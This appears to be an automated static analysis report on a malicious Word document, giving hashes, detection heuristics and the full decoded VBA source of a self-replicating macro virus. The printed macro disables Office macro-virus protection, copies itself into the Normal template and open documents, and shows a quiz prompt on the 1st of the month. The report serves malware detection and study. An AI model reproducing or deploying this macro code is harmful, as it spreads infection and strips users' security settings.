Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 aaf4381aef0412e3…

MALICIOUS

Office (OLE)

101.0 KB Created: 2014-06-20 09:19:00 Authoring application: Microsoft Office Word First seen: 2015-09-21
MD5: 5c4b4364a4c63f1d72cb7ee769941276 SHA-1: e0749b9a3695f208133097b6075493fcef072411 SHA-256: aaf4381aef0412e30de65c9af089f9dbb3f4e16432cc212d45c1baf87014801b
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1553.005 Mark-of-the-Web Bypass

The sample contains VBA macros that attempt to disable macro security settings and replicate themselves to the normal template. This behavior is indicative of malware aiming to establish persistence or prepare for further stages. The ClamAV detection 'Doc.Trojan.Bptk-2' further supports the malicious nature of the file.

Heuristics 4

  • ClamAV: Doc.Trojan.Bptk-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Bptk-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3335 bytes
SHA-256: 6f2274a1c89ba7e5fc8d0b0c0f0197fe73b149e2870f737d732b8ef7095e2367
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True



Dim DI As Boolean, TI As Boolean, d As Object, t As Object, Src As String, r As String


Private Sub Document_Close()
On Error Resume Next

Set d = ActiveDocument.VBProject.VBComponents.Item(1)
Set t = NormalTemplate.VBProject.VBComponents.Item(1)

DI = d.CodeModule.Find("长安公司汽研所 常识课", 1, 1, 10000, 10000)
TI = t.CodeModule.Find("长安公司汽研所 常识课", 1, 1, 10000, 10000)

Options.VirusProtection = False

  If DI And Not (TI) Then
    Src = d.CodeModule.Lines(1, d.CodeModule.CountOfLines)
    t.CodeModule.DeleteLines 1, t.CodeModule.CountOfLines
    t.CodeModule.AddFromString Src
    NormalTemplate.Save
    
  ElseIf TI And Not (DI) Then
If Day(Now()) = 1 Then
 Do
 r = UCase(InputBox("长安之星车长多少米?" & Chr(13) & Chr(13) _
 & "A.3米4  B.3米5  C.3米55  D.3米7" & Chr(13) & Chr(13) _
 & "要好好思考哟!", "紧急提问"))
 Loop Until r <> ""
 If r = "B" Then
   MsgBox "好棒哟!"
   GoTo 10
 Else
   MsgBox "唉!再给你一次机会."
    Do
     r = UCase(InputBox("长安之星FBA是什么型?" & Chr(13) & Chr(13) _
     & "A.标准型  B.普通型  C.豪华型" & Chr(13) & Chr(13) _
     & "想好了再回答!", "紧急提问"))
    Loop Until r <> ""
      If r = "C" Then
        MsgBox "谢谢你的支持!"
        GoTo 10
      Else
        MsgBox "笨蛋!给你最后一次机会."
          Do
           r = UCase(InputBox("安全气囊是干什么用的?" & Chr(13) & Chr(13) _
           & "A.防止撞车  B.防止侧滑  C.撞车时保护驾驶员" & Chr(13) & Chr(13) _
           & "这是最后一次机会哟!", "紧急提问"))
          Loop Until r <> ""
           If r = "C" Then
             MsgBox "总算答对了!"
             GoTo 10
           Else
             MsgBox "看来你还需要对长安之星多加了解..."
             ActiveDocument.SaveAs "c:\lzc.vxd"
             ActiveDocument.Close
             Exit Sub
           End If
      End If
 End If
End If
10:
    Src = t.CodeModule.Lines(1, t.CodeModule.CountOfLines)
    d.CodeModule.DeleteLines 1, d.CodeModule.CountOfLines
    d.CodeModule.AddFromString Src
    ActiveDocument.Save
      
  End If


End Sub

Private Sub Document_Open()
On Error Resume Next

Set d = ActiveDocument.VBProject.VBComponents.Item(1)
Set t = NormalTemplate.VBProject.VBComponents.Item(1)

DI = d.CodeModule.Find("长安公司汽研所 常识课", 1, 1, 10000, 10000)
TI = t.CodeModule.Find("长安公司汽研所 常识课", 1, 1, 10000, 10000)

Options.VirusProtection = False

  If DI And Not (TI) Then
    t.CodeModule.DeleteLines 1, t.CodeModule.CountOfLines
    
  ElseIf TI And Not (DI) Then
    d.CodeModule.DeleteLines 1, d.CodeModule.CountOfLines
      
  End If
  
End Sub

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